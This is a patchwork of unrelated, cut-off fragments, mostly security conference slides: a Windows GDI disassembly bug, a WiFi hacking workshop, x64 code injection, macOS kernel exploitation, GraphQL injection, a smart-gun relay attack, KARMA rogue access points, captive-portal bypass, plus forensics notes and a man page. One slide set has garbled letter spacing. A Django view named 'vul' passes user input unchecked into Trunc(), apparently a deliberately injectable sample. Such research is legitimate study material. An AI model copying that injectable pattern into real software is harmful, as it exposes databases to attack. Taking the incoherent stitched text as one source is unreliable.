[esi+PATHRECORD.prev] ; load old prev .text:BFA122D0 push edi .text:BFA122D1 mov edi, [ebp+new] ; get the new PATHRECORD .text:BFA122D4 mov [edi+PATHRECORD.prev], eax (1) ; copy prev pointer over .text:BFA122D7 lea eax, [edi+PATHRECORD.count] ; save address of count member .text:BFA122DA xor edx, edx ; set count to zero .text:BFA122DC mov [eax], edx (2) .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] ; load flags .text:BFA122E1 and ecx, 0FFFFFFEFh ; clear bezier flag .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx (3) ; copy old flags over The next pointer is never initialized! ......  Tavis Ormandy 上下文中 next 指针是什么未初始化意味着什么 (4) 吾将上下而求索  PATH 子系统 Windows 图形子系统绘制直线或曲线至少需要哪些要素让 我们从面向对象的角度想想 颜色宽度样式(像素)点的坐标点的类型 ...... Windows 图形子系统是怎么做的 The GDI pen objects manage pens. The device context objects manage other line and curve drawing attributes. Now we need something to manage geometric shapes. This brings us to the GDI path objects.  Feng Yuan GDI path objects  坐标点与属性集合的管理者 吾将上下而求索  PATH 子系统 The Win32 API does not provide any functions to create PATH_TYPE objects directly, althoug


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Wifi Hacking DEFCON China 1.0 2019 This presentation at http://bit.ly/2LeM0U3 > whoarewe // Philippe Delteil // @philippedelteil CS. Engineer@University of Chile Self proclaimed hacker 1st talk at Defcon 26 Skytalks "Macabre stories of a hacker in the public health sector" Hacked over 3,000 wifi routers of Brazil's biggest ISP. Classes for free: CTF, pentesting, programming, basic computer knowledge. In a Free and Open University. Founded a company with a very clever name: Info-sec. > whoarewe //Guillermo Pilleux // @Llipi B.Sc. CS@University of Chile Scrappers/crawlers  retrieved 500k Chilean names on genealog.cl Research on HTR for Opticality in Guatemala Cybersecurity  2nd internship in Info-Sec  This Workshop > Introduction: Very brief history of Wifi '97 creation of 802.11  IEEE802.11 '99  WEP 2001  WEP exploits 2003  WPA 2004  WPA2  IEEE 802.11i 2006  WPS 2011  WPS vulns 2017  WPA2 vulns (KRACK) 2018  WPA3 2019  5 vulns WPA3 > Wifi: How does it work? Radio waves transmission Radio signal  router Router  decodes the signal  Ethernet connection Two-way traffic Data from Internet  router  radio signal  machine's wireless adapter. > Wifi: How does it work? > Lab Preps: VM install 1. Pendrives with persistent Kali Linux Slow machines || Not enough RAM || Small HDD 2. Host + VirtualBox 5.2.18 + Kali VM Get your flavour https://bit.ly/2xHsHcI VirtualBox Guest Additions installed? How to install it Windows https://bit.ly/2ZL6Nln Linux https://bit.ly/2J5wWVU +sudo usermod -a -G vboxusers $USER > Lab Preps: Wireless Adapter Alfa AWUS036NHA OS Hosts Install Drivers Windows Windows 8/10 Windows 7/Vista/XP MacOS 10.13/10.12 Linux rtl8812au > Lab Preps: Know your victims! Cheapest Wifi router ~US$20 Includes: WEP WPS WPA/WPA2 > Lab Preps: VM configurations Wireless Card Configuration Adapter will be named wlan0, wlan1,.., wlanN Avoid adapter with names difficult to remember > sudo sed -i 's/GRUB_CMDLINE_LINUX=\""/GRUB_CMDLINE_LINUX=\"net.ifn ames=0 biosdevname=0\"/' /etc/de


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By Alon Weinberg Please inject-me, a x64 code injection August 2019 Im a Security researcher! Ive been working at Deep Instinct, Since 2017 And I was in the IDF Cyber Unit for 4.5 years Alon Weinberg Please inject-me a x64 code injection Intro  Code injection and its importance  Introducing Inject-Me Technical background  ReadProcessMemory  X64 WinAPI calling convention Inject-Me - Detailed flow  Abusing ReadProcessMemory  Copying data on the target process  Finalizing the injection  Infinite running thread  Execution  Demo 4 Intro Please inject-me, a x64 code injection 5 Code injection is the general term of introducing (or "injecting") code into a process and executing it from the process context. Injecting process target process Inject code MessageBox code Execute code What is code injection 6 Why is code injection important? Benign use of code injection  Security solutions  Adding functionality  Monitoring, Analysis and Research 7 Malicious use of code injection:  Stealth - Hiding malware presence  Evasion - Bypassing security solutions  Stealing information from another process Introducing inject-me  How it all started  A new code injection for x64  The idea behind Inject-Me  Injection-less code injection 8 Technical background Please inject-me, a x64 code injection 9  Reads memory from a process By running the function remotely in a target process, and controlling the parameters passed using SetThreadContext one can read\inject a shellcode into the target process. ReadProcessMemoryfunction 10  Integer arguments passed in registers RCX, RDX, R8, and R9  Arguments after the fourth argument passed on the stack  Function can be set with four or less arguments remotely using SetThreadContext hProcess lpBaseAddress lpBuffer nSize lpNumberOfBytesRead ReadProcessMemory RCX = RDX = R8 = R9 = RtlExitUserThread 0x00000000 0x00000000 0x00000000 0x00000000 Stack lpNumberOfBytesRead Return Address= Ignored Ignored Ignored Ignored On stack X64 WinAPIcalling convention 11 Det


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w w w .ianange ll.co m Co m ple xity in Co m pute r Syste m s: a Risky Busine ss Pro fe sso r Ian O. Ange ll Info rm atio n Syste m s and Inno vatio n Gro up De partm e nt o f Manage m e nt Lo ndo n Scho o l o f Eco no m ics w w w .ianange ll.co m Why do w e ne e d Te chno lo gy at all? Te chno lo gy transfo rm s unce rtainty into risk. We e xplain, and the re by sw ap ho pe le ssne ss, fo r the o ptim ism in a plan o f actio n. In o the r w o rds w e im po se structure in o rde r to gain a te nuo us handle o n unce rtainty. w w w .ianange ll.co m (num e rical) Algo rithm s + Pe o ple = (syste m ic) Risk = Hazard + Oppo rtunity Managing Unce rtainty? w w w .ianange ll.co m Managing Unce rtainty? Tho ugh this be m adne ss, ye t the re is m e tho d int (Ham le t, Act II, Sce ne 2 ) Me tho d is the first, the last, the o nly re so rt o f the m e dio cre w w w .ianange ll.co m De finitio n o f a Singularity: De finitio n o f a Singularity: the y had to be lucky all the tim e , w e had to be lucky just o nce  (IRA spo ke sm an afte r the Brighto n bo m bing, w he n the y alm o st kille d Margare t Thatche r) w w w .ianange ll.co m Go o dharts Law any o bse rve d statistical re gularity w ill te nd to co llapse o nce pre ssure is place d o n it fo r co ntro l purpo se s w w w .ianange ll.co m Be yo nd Go o d and e -Ville Be yo nd Go o d and e -Ville Lo o k to w ard the o bse rvable co nse que ntial risks Lo o k to w ard the o bse rvable co nse que ntial risks that o ccur w he n co m pute rs are inte grate d that o ccur w he n co m pute rs are inte grate d into into Hum an Activity Syste m s Hum an Activity Syste m s w w w .ianange ll.co m Co m pute rs de al w ith o bje ctive w e ll-structure d pro ble m s, w ith de tail. The y canno t co pe w ith subje ctive subtle ty, am biguity and co m ple xity w w w .ianange ll.co m A go o d te chno lo gy platfo rm , altho ugh ne ce ssary, is no t sufficie nt fo r succe ss. Succe ss o r failure w ith a te chno lo gy w ill be de te rm


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# 日志

 --- ## 前言 在 windows 系统的运行过程中会不断记录日志信息根据种类可以分为windows日志(事件日志)应用程序及服务日志,这些日志信息在取证和溯源中非常重要 **审核策略** Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 建议开启审核策略若日后系统出现故障安全事故则可以查看系统的日志文件排除故障追查入侵者的信息等 开始 --> 管理工具 --> 本地安全策略 --> 本地策略 --> 审核策略 **事件查看** 开始-运行输入 `eventvwr.msc` 打开事件查看器查看日志 可以看到事件查看器将日志分成了2大类windows日志应用程序和服务日志windows日志中又有应用程序安全setup系统forwarded event这几种事件类型 --- ## 事件日志 Windows事件日志文件实际上是以特定的数据结构的方式存储内容其中包括有关系统安全应用程序的记录每个记录事件的数据结构中包含了9个元素可以理解成数据库中的字段日期/时间事件类型用户计算机事件 ID来源类别描述数据等信息运维人员可以根据日志取证了解计算机所发生的具体行为 --- ### 事件级别 在事件日志中有5个事件级别 * 信息 信息事件指应用程序驱动程序或服务的成功操作的事件 * 警告 警告事件指不是直接的主要的但是会导致将来发生问题的事件例如当磁盘空间不足或未找到打印机时都会记录一个警告事件 * 错误 错误事件指用户须知道的重要的问题通常包括功能和数据的丢失例如,如果一个服务不能作为系统引导被加载那么它将会产生一个错误事件 * 成功审核 成功的审核安全访问尝试主要是指安全性日志这里记录着用户登录/注销对象访问特权使用账户管理策略更改详细跟踪目录服务访问账户登录等事件例如所有的成功登录系统都会被记录为 成功审核事件 * 失败审核 失败的审核安全登录尝试例如用户试图访问网络驱动器失败则该尝试会被作为失败审核事件记录下来 --- ### 事件ID Windows事件日志中记录的信息中关键的要素包含事件级别记录时间事件来源事件ID事件描述涉及的用户计算机操作代码及任务类别等 Windows 的日志以事件 id 来标识具体发生的动作行为可通过下列网站查询具体 id 对应的操作 - https://docs.microsoft.com/en-us/windows/security/threat-protection/ 直接搜索 event + 相应的事件id 即可 - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx?i=j |事件 ID | 说明 | | - | - | | 1102 | 清理审计日志 | | 4624 | 账号成功登录 | | 4625 | 账号登录失败 | | 4768 | Kerberos 身份验证TGT 请求 | | 4769 | Kerberos 服务票证请求 | | 4776 | NTLM 身份验证 | | 4672 | 授予特殊权限 | | 4720 | 创建用户 | | 4726 | 删除用户 | | 4728 | 将成员添加到启用安全的全局组中 | | 4729 | 将成员从安全的全局组中移除 | | 4732 | 将成员添加到启用安全的本地组中 | | 4733 | 将成员从启用安全的本地组中移除 | | 4756 | 将成员添加到启用安全的通用组中 | | 4757 | 将成员从启用安全的通用组中移除 | | 4719 | 系统审计策略修改 | 每个成功登录的事件都会标记一个登录类型不同登录类型代表不同的方式 | 登录类型 | 描述 | 说明 | | :------- | ------------------------------- | ------------------------------------------------ | | 2 | 交互式登录Interactive | 用户在本地进行登录 | | 3 | 网络Network | 最常见的情况就是连接到共享文件夹或共享打印机时 | | 4 | 批处理Batch | 批处理为批处理程序保留 | | 5 | 服务Service | 服务启动服务登录 | | 7 | 解锁Unlock | 屏保解锁 | | 8 | 网络明文NetworkCleartext | 登录的密码在网络上是通过明文传输的如FTPIIS登录验证


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MacOS Big)Sur内核漏洞挖掘和利用 Bio 0 1 Twitter(@peterpan980927) 阿里安全潘多拉实验室 高级安全工程师 iOS/macOS 安全研究&开发 KCon 2019 PPT 放映员&乐透操作手 Agenda 0 2 1. Backgrounds 2. Some case studies 3. Mitigations overview & new features 4. Attack macOS Big Sur 5. Summary & Credit Backgrounds AppleOS Kernel 0 3 XNU: X is not Unix(Hybrid Kernel) 1. Mach->(micro kernel) 2. BSD 3. IOKit Mach Ports 0 4 Basic concepts 1. Communication channels for IPC 2. 32bit number in userspace 3. ipc_port struct in kernel space 4. Single receiver/One or Multiple Senders /osfmk/ipc/ipc_object.h struct ipc_port { struct ipc_object ip_object; struct ipc_mqueue ip_messages;  }; struct ipc_object { ipc_object_bits_t io_bits; ipc_object_refs_t io_references; lck_spin_t io_lock_data; }___attribute__((aligned(8))); Mach Ports 0 5 Basic concepts 1. Many kernel data objects are wrapped with mach ports 2. E.g: Tasks(tfp0)/Driver instance(C++ obj)/clock/file_glob /osfmk/kern/ipc_kobject.h #define IKOT_CLOCK 25 #define IKOT_IOKIT_CONNECT 29 #define IKOT_IOKIT_OBJECT 30 #define IKOT_VOUCHER 37  Mach Ports For IPC 0 6 Overview Apple Driver 0 7 IOKit part IOKit是一套基于C++子集构建的框架库工具和资源 支持设备的动态和自动配置即插即用 抢占式多任务对称多处理 不支持异常多重继承模版和RTTI KEXT是内核扩展包含Apple Driver Apple Driver 0 8 Why? 1. Kexts run inside kernel, some can even reachable within the sandbox 2. Kext deprecated in WWDC 2019 3. System Extension replacing third party kext: DriverKit NetworkExtensionEndpoint Security 4. Less developers, less attention Apple Driver 0 9 Attack Surface 1. ExternalMethod(driver independent) 2. Notification Port(CVE-2020-9768) 3. SharedMemory(TOCTOU) 4. clientClose(CVE-2018-4326) 5. setProperties(CVE-2016-1835) Etc Apple Driver 1 0 Attack Surface 1. ExternalMethod(driver independent) 2. Notification Port(CVE-2020-9768) 3. SharedMemory(TOCTOU) 4. clientClose(CVE-2018-4326) 5. setProperties(CVE-2016-1835) Etc Apple Driver 1 1 Attack Surface http://homes.sice.indiana.edu/luyixing/bib/CCS20-iDEA.pdf Case)studies Case Studies 1 2 CVE-2016-1825(bazad) Case Studies 1


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from django.http import HttpResponse, JsonResponse from django.db.models.functions import Trunc from django.db.models import Count from .models import WebLog def create_log(request): method = request.method url = request.build_absolute_uri() user_agent = request.META.get('HTTP_USER_AGENT') WebLog.objects.create( method=method, url=url, user_agent=user_agent ) def vul(request): create_log(request) date = request.GET.get('date', 'minute') objects = list(WebLog.objects.annotate(time=Trunc('created_time', date)).values('time').order_by('-time').annotate(count=Count('id'))) return JsonResponse(data=objects, safe=False)


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A Picture is Worth a Thousand Words, Literally: Deep Neural Networks for Social Stego Philip Tully | Mike Raggo 1 #whoami 2 Philip Tully @phtully Principal Data Scientist at ZeroFOX PhD (KTH & University of Edinburgh) Machine Learning and Neural Nets Mike Raggo @datahiding CSO @802 Secure, 17 yrs Stego Research StegSpy DC12, Author Data Hiding NSA National Cryptologic Museum DC25: Community, Discovery and the Unintended Uses of Technology 3 2600: The Hacker Quarterly 4 Summer 1992 Summer 2017 25 years A Picture is Worth a Thousand Words, Literally: Deep Neural Networks for Social Stego The Evolution of Steganography 5 DIY Social Steganography Deep Neural Networks for Social Stego Data-Driven Red and Blue Teaming Wrap Up A Picture is Worth a Thousand Words, Literally: Deep Neural Networks for Social Stego The Evolution of Steganography 6 Covert Communication 7 . . . any communication channel that can be exploited by a process to transfer information in a manner that violates the system's security policy. Source: U.S. Department of Defense. Trusted Computer System Evaluation The Orange Book. Publication DoD 5200.28-STD. Washington: GPO 1985 WetStone Labs Collected Steganography Programs Since January 1999 Includes versions 8 Tools are simple, designed to exploit sense weaknesses Many copycats are born, with some new features, greater focus on JPEG embedding Methods become more resilient to statistical attacks Multimedia begins to evolve into a viable method New versions emerge of existing Alg. Steganographic file systems begin to emerge VOIP, RTP and UDP techniques emerge along with decoys to complicate detection and recovery Evolution of Methods Social Media Stego used in images and URLs with malware, CnC, and covert communications Evolution of Stego - Internet Era 9  Stego Apps Decoy Techniques (OpenPuff)  Stealth Alternate Data Streams (NT)  Weaponized CnC - Operation Shady RAT  Protocols - VOIP, RTP, UDP => WiFi StegoStuffing, Bluetooth (Hosmer/Raggo - Wall of She


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# GraphQL Injection > GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type ## Summary - [GraphQL injection](#graphql-injection) - [Summary](#summary) - [Tools](#tools) - [Enumeration](#enumeration) - [Common GraphQL endpoints](#common-graphql-endpoints) - [Identify an injection point](#identify-an-injection-point) - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection) - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions) - [Enumerate the types' definition](#enumerate-the-types-definition) - [List path to reach a type](#list-path-to-reach-a-type) - [Exploit](#exploit) - [Extract data](#extract-data) - [Extract data using edges/nodes](#extract-data-using-edgesnodes) - [Extract data using projections](#extract-data-using-projections) - [Use mutations](#use-mutations) - [GraphQL Batching Attacks](#graphql-batching-attacks) - [JSON list based batching](#json-list-based-batching) - [Query name based batching](#query-name-based-batching) - [Injections](#injections) - [NOSQL injection](#nosql-injection) - [SQL injection](#sql-injection) - [References](#references) ## Tools * [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes * [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material * [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing * [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema * [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's * [mchoji/clairvoyancex](https://github.com/mchoj


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Popping a Smart Gun DEF CON 25 plore@tuta.io What is a smart gun? Skyfall Why I care Armatix iP1: watch and pistol Normal operation 25 cm Heres a token Hey! *squeeze* 1 2 Good, now I can fire 3 4 (Demo of normal operation) Motivation: a good challenge Forum post on Armatix iP1 review, November 2015: So lets pop it three ways! Defeat proximity restriction Denial of service Fire without authorization Normal range 25 cm 916.5 MHz 5.35 kHz 5.35 kHz burst Burst Relay block diagram MCU nRF24 2.4 GHz 916.5 MHz MCU nRF24 BPF Driver 5.35 kHz 5.35 kHz 3 m 4 1 2 3 Relay devices (custom hardware) Pistol side Watch side nRF24 2.4 GHz xcvr 5.35 kHz tuned coil 5.35 kHz BPF & amp Coil driver PIC16F MCU Relay devices (custom hardware) Total cost: $20  Cost (each):  $5 nRF24 module  $2 PCB  $1 microcontroller  $2 other parts (Demo of relay attack) Latency of relay Pistol NFC start Slave NFC start 630 us overall latency Relay defense  Enforce very tight timing requirements  Dont use RF/NFC at all for proximity  This is a difficult problem  Applicable to many products/industries Denial of service  Scenario 1:  Adversary wants to prevent gun from being fired by authorized user  Scenario 2:  Parent wants backup kill-switch in house in case gun not locked up properly  Scenario 3:  Other device unintentionally interferes RF weaknesses 916.5 MHz 5.35 kHz Not necessarily intentional  900 MHz ISM band used by many products  Baby monitors  Wireless microphones  Wireless video game controllers  Wireless headphones  Utility telemetry systems  Cordless phones  EMC testing should catch these problems 900 MHz transceiver Slicer and Manchester coding 1 0 1 1 1 0 ? 1 Watch auth token to pistol Sync Constant data Dynamic data Constant data Dynamic data Checksum Test signal 300 us inactive 33 us active Test signal over watch signal Scenario 1: Interference > Signal Signal strength Time = interfering signal = watch signal Slicer level Slicer level set based on interference peaks Slicer level too high No


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.\" Copyright (c) 1996 Andries Brouwer .\" This page is somewhat derived from a page that was .\" (c) 1980, 1989, 1991 The Regents of the University of California .\" and had been heavily modified by Rik Faith and myself. .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" The GNU General Public License's references to "object code" .\" and "executables" are to be interpreted as the output of any .\" document formatting or typesetting system, including .\" intermediate and printed output. .\" .\" This manual is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public .\" License along with this manual; if not, write to the Free .\" Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, .\" USA. .\" .TH UMOUNT 8 "26 July 1997" "Linux 2.0" "Linux 程序员手册" .SH "NAME 名字" umount \- 卸载文件系统 .SH 总览 .BI "umount [\-hV]" .LP .BI "umount -a [\-nrv] [\-t " vfstype ] .br .BI "umount [\-nrv] " "device " | " dir " [...] .SH 描述 .B umount 可以卸除当前挂载在文件层次目录中的文件系统 文件系统形式可以是以它所在的目录的形式指定 也可以是以它所在的特殊设备的形式来指定 请注意当文件系统正处于使用状态时不能进行卸载操作 必须等工作完成后才能进行卸除例如如果在当前文件系统中 有打开的文件或某些进程正工作在该文件系统的某个目录下时 或者是它上面的一个交换文件正在使用 干涉的进程甚至可以是 .B umount 本身 - 它打开 libc而随后 libc 可能会打开本地文件 .B umount 命令的选项 .TP .B \-V 打印版本信息并退出 .TP .B \-h 显示帮助信息并退出 .TP .B \-v 以冗长模式运行 .TP .B \-n 在卸载后不将相应信息写入 .IR /etc/mtab 文件 .TP .B \-r 如果卸载失败试图以只读方式进行重新挂载 .TP .B \-a 卸载所有在 .I /etc/mtab 文件中描述的文件系统在 .B umount 版本或以后的版本中不会卸载 .I proc 文件系统 .TP .BI \-t " vfstype" 只卸载指定类型的文件系统如果要一次指定多个文件系统 可以用逗号分隔如在指定文件系统前加 .B no 则可卸载除些文件系统以外的其它文件系统 .TP .B \-f 强制卸载比如不可达的 NFS  此选项须在高于 2.1.116 的版本上使用 .SH "环路设备" 如果在 .IR /etc


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### FTP相关介绍 `FTP` ( `File Transfer Protocol` 即文件传输协议)是 `TCP/IP` 协议组中的协议之一 `FTP` 协议包括两个组成部分其一为 `FTP` 服务器其二为 `FTP` 客户端其中 `FTP` 服务器用来存储文件用户可以使用 `FTP` 客户端通过 `FTP` 协议访问位于 `FTP` 服务器上的资源在开发网站的时候通常利用 `FTP` 协议把网页或程序传到 `Web` 服务器上此外由于 `FTP` 传输效率非常高在网络上传输大的文件时一般也采用该协议 默认情况下 `FTP` 协议使用 `TCP` 端口中的 `20` 和 `21` 这两个端口其中 `20` 用于传输数据 `21` 用于传输控制信息但是是否使用 `20` 作为传输数据的端口与 `FTP` 使用的传输模式有关如果采用主动模式那么数据传输端口就是 `20` 如果采用被动模式则具体最终使用哪个端口要服务器端和客户端协商决定


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Bypassing Authenticated Wireless Networks Dean Pierce Brandon Edwards Anthony Lineberry Introduction to Authenticated Networks An authenticated wireless network is a network which requires a username and password to go online. They are increasingly common, although the same security flaws exist now that existed when the technology first became available. NoCatAuth NoCatAuth is an open source wireless authentication system written in perl. Widely used  Schools  Coffee shops  Restaurants  Community Networks Login Process DHCP HTTP requests are redirected to and SSL encrypted login page. Once authenticated, the firewall sets a rule that allows data from your IP and MAC address to pass through the gateway. Bypassing Authentication Basically, all that you need to do to bypass the firewall rules is spoof the information of someone who is already authenticated. Three things need to be known  MAC of target  IP of target  Location of the gateway How the pickupline Works Creates a database  Gateway information  Target information Creates a thread in the background that sniffs for possible targets and attempts to identify the gateway. Once you have some targets, you can try spoofing them with the spoof command. If the spoofing is successful, you should be able to go on the internet as if you were authenticated. How to Use the Tool start  starts the background thread that gathers target information etc list  lists all targets gathered spoof  lets you select a target to spoof exit  exits the program Demonstration


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1" 2" 3" 7" 8" 9" 10" 11" 12" This"is"how"networks"show"up"in"your"network"list"when"searching"for"wiﬁ"networks" on"your"device." 13" When"you"join"a"network,"this"interacCon"happens." 14" 15" 16" KARMA"aKacks"do"exactly"the"same"thing"as"a"normal"associaCon,"its"just"an"evil"AP" instead"of"the"actual"AP"doing"it." 17" 18" 19" 20" This"is"why"KARMA"aKacks"werent"working"well,"we"werent"responding"to"the" broadcast"probes."" 21" 22" 23" In"trying"to"ﬁgure"out"the"issue,"we"went"to"the"place"we"should"always"see"probes," hidden"networks."Hidden"networks"dont"return"the"ESSID"in"response"to"broadcast" probes." 24" The"AP"only"gives"up"its"name"if"the"device"probes"for"it"speciﬁcally"(i.e."you"must" know"the"name"already)." 25" 26" This"means"that"iOS"devices"are"passively"looking"for"beacons"from"hidden"networks." Why"not"do"that"for"all"networks?" 27" 28" 29" 30" 31" Probe"responses"contain"a"ﬂag"indicaCng"whether"they"are"WEP,"WPA/2"PSK,"WPA/2" EAP"etc."This"is"used"as"part"of"the"uniqe"match"for"PNL"networks." 32" 33" This"speciﬁc"part"is"sCll"under"heavy"tesCng"at"the"Cme"of"wriCng." 34" We"dont"have"the"creds."But,"we"can"have"our"rogue"AP"act"as"a"WPA/2"network"and" send"the"ﬁrst"packet,"and"we"capture"the"second."We"dont"have"the"right"key,"and" cant"generate"the"Temporal"key,"but"we"have"anonce"and"snonce"and"a"MIC"from" the"client,"so"we"can"aKempt"to"brute"the"key"unCl"we"can"generate"a"MIC"for"the" snonce"that"matches"the"clients."Josh"Wrights"coWPAKy"tool"ﬁrst"did"this." 35" With"EAP,"we"have"a"similar"problem,"but"if"the"client"isnt"validaCng"correctly,"we" can"MitM."EAP"TLS"is"mutually"authenCcated"so"we"cant"here"(just"included"for"a" simpler"decripCon)." 36" We"can"MitM"PEAP"and"PEAPdlike"EAPs"most"of"the"Cme."This"is"because"most" conﬁguraCons"dont"validate"the"server"cert,"and"even"when"they"do,"there"is"no"CN" name"match,"its"purely"on"authority."A"successful"MitM"gets"up"an"MSCHAPv2" challenge"response"(depending"on"setup)."" 37" 38" 39" 40" 41" 42"


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Detecting and Defending Against State-Actor Surveillance Introduction CONTENTS Introduction Goals and Intent Surveillance Catalog Leaks  Hardware  Software  Wifi  Cellular Conclusions Who is involved ! Those that spy. ! Those that get spied on. Why do Spies Spy? ! Information has value. Moral values: ! Protect people from harm ! Progress society Immoral values: ! Blackmail ! Profiteering Full Disclosure I loath tin foil hats and conspiracy theories. Story time! ! 2010, someone working on their car finds a GPS unit ! Law enforcement and FBI show up shortly after it is removed, asking for their device back. ! www.wired.com/2010/10/fbi-tracking-device/ Story time! ! 2010, someone working on their car finds a GPS unit ! Law enforcement and FBI show up shortly after it is removed, asking for their device back. ! www.wired.com/2010/10/fbi-tracking-device/ ! This is the only major story that discusses a tracking device being found. Story time! ! 2010, someone working on their car finds a GPS unit ! Law enforcement and FBI show up shortly after it is removed, asking for their device back. ! www.wired.com/2010/10/fbi-tracking-device/ ! This is the only major story that discusses a tracking device being found. ! No agency admits involvement What is the Surveillance Catalog? Surveillance Catalog leaks ! Der Spiegel and 30c3 in December 2013 ! Tons of details regarding how spying agencies are 'bugging' computers, cell phones and more. ! They do not credit a source. Introducing Surveillance Sam! Hardware Bugs Hardware Bugs Retro Reflectors RAGEMASTER LOUDAUTO TAWDRYYARD SURLYSPAWN Hardware Bugs RF Bug Detection Hardware Bugs RF Bug Detection Hardware Bugs Software Defined Radio RF Bug Detection Hardware Bugs Data Exfiltration COTTONMOUTH HOWLERMONKEY GINSU FIREWALK A device by any of these names  GODSURGE, JETPLOW  HEADWATER, HALLUXWATER  SCHOOLMONTANA, SIERRAMONTANA, STUCCOMONTANA  FEEDTROUGH, GOURMETTROUGH, SOUFFLETROUGH Just means hardware for persistent compromise Hardware B


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Introduction Flight of the Bumblebee With bird eyes Taming of the camera Views from up-there Flight Demo A low cost spying quadrotor for global security applications using hacked digital cameras A. Gademer, C. Cheron, S. Monat, F. Mainfroy, L. Beaudoin ESIEA Paris / Universite Paris-Est (France) DEFCON 17 http://fauconnoir.esiea.fr www.esiea-recherche.eu A. Gademer, C. Cheron, S. Monat, F. Mainfroy, L. Beaudoin ESIEA Paris / Universite Paris-Est (France) A low cost spying quadrotor for global security applications using hacked digital cameras Introduction Flight of the Bumblebee With bird eyes Taming of the camera Views from up-there Flight Demo Warning We apologies, but this is a ﬁrst draft of our presentation slides. Look up for the last version on DEFCONs and faucon noirs website : www.defcon.org http ://fauconnoir.esiea.fr www.esiea-recherche.eu Thanks for reading us, Faucon Noir team. A. Gademer, C. Cheron, S. Monat, F. Mainfroy, L. Beaudoin ESIEA Paris / Universite Paris-Est (France) A low cost spying quadrotor for global security applications using hacked digital cameras Introduction Flight of the Bumblebee With bird eyes Taming of the camera Views from up-there Flight Demo Summary 1 Introduction 2 Flight of the Bumblebee 3 With bird eyes 4 Taming of the camera 5 Views from up-there 6 Flight Demo A. Gademer, C. Cheron, S. Monat, F. Mainfroy, L. Beaudoin ESIEA Paris / Universite Paris-Est (France) A low cost spying quadrotor for global security applications using hacked digital cameras Introduction Flight of the Bumblebee With bird eyes Taming of the camera Views from up-there Flight Demo Summary 1 Introduction Who the heck are we ? A. Gademer, C. Cheron, S. Monat, F. Mainfroy, L. Beaudoin ESIEA Paris / Universite Paris-Est (France) A low cost spying quadrotor for global security applications using hacked digital cameras Introduction Flight of the Bumblebee With bird eyes Taming of the camera Views from up-there Flight Demo Who the heck are we ? Student team F


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apache overview 0x00 twf.soapache 0x01 helloworld demo apacheapache apachehookexample 1 handler httpd.conf AddHandler example-handler .sum apache.sumr->handlerexample-handler handlerexample-handler 2 module AP_MODULE_DECLARE_DATA example_module = { STANDARD20_MODULE_STUFF, NULL, NULL, NULL, NULL, NULL, register_hooks /* Our hook registering function */ }; example_moduleregister_hooks register_hooks: static void register_hooks(apr_pool_t *pool) { /* Create a hook in the request handler, so we get called when a request arrives */ ap_hook_handler(example_handler, NULL, NULL, APR_HOOK_LAST); } register_hooks ap_hook_handler(example_handler, NULL, NULL, APR_HOOK_LAST); ap_hook_handler apacheapiap_*handlerexample_handler examplehandler example_handler static int example_handler(request_rec *r) { /* First off, we need to check if this is a call for the "example-handler" handler. * If it is, we accept it and do our things, if not, we simply return DECLINED, * and the server will try somewhere else. */ if (!r->handler || strcmp(r->handler, "example-handler")) return (DECLINED); //r->handlerexample /* Now that we are handling this request, we'll write out "Hello, world!" to the client. * To do so, we must first set the appropriate content type, followed by our output. */ example_handler AddHandler example-handler .sum example-handler 3 example 1. AddHandler example-handler .sum handler 2. register_hooks 3. register_hooksap_hook_handlerhandler 4. ap_hook_handlerexample_handler 5. example_handlerhandler 0x02 apache apache 1. httpd 2. 3. MPM ap_set_content_type(r, "text/html"); ap_rprintf(r, "Hello, world!"); /* Lastly, we must tell the server that we took care of this request and everything went fine. * We do so by simply returning the value OK to the server. */ return OK; } 4. apacheapachewritemd5apr 5. apr apache 1. 2. 3. apr 0x03 url demoap_hook_handlerapache 0x04 hook ap_hook 1. 2. insert_filterap_hook_handler 3. logger filter 0x05 filter filterfilter static void filter_ech


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First step in the quest for manufacturing cyber-resilient IoT devices Panasonic Corporation Jun Sato Chih-Hsiang HITCON 2020@TAIPEI About me 佐藤 淳 Jun Sato Past experience in system development and operation Joined Panasonic in 2019 and involved in IoT security CISSP, GCFA Background サイバーセキュリティ戦略本部 サイバーセキュリティ２０１９ 別添５ サイバーセキュリティ関連データ集 NICTER観測結果より https://www.nisc.go.jp/active/kihon/pdf/cs2019.pdf Number of Attacks Observed by NICTER Darknet Sensors Breakdown of Observed Attacks by NICTER Darknet Sensors (2018) Number of cyber attacks continue to increase About half of observed attacks targeting IoT devices No. Packets (ten billion) Other Attacks targeting IoT devices (Web Camera, Routers, etc.) Cybersecurity Research Institute - Cyber Security 2019 Appending 5 - Cyber Security Related Data - NICTER Observation Results Increasing attacks targeting IoT Sudden Increase in IoT Malware New trends in the world of IoT threats, Kaspersky Lab, September 18, 2018 https://securelist.com/new-trends-in-the-world-of-iot-threats/87991/ The number of IoT malware has more than tripled from 2017 in just the first half of 2018 https://www.securityweek.com/hide-%E2%80%98n-seek-botnet-targets-smart-homes https://www.ithome.com.tw/news/132271 https://arstechnica.com/information-technology/2018/05/hackers-infect-500000- consumer-routers-all-over-the-world-with-malware/?amp=1 https://www.securityweek.com/over-500000-iot-devices-vulnerable-mirai-botnet https://www.ithome.com.tw/news/123708 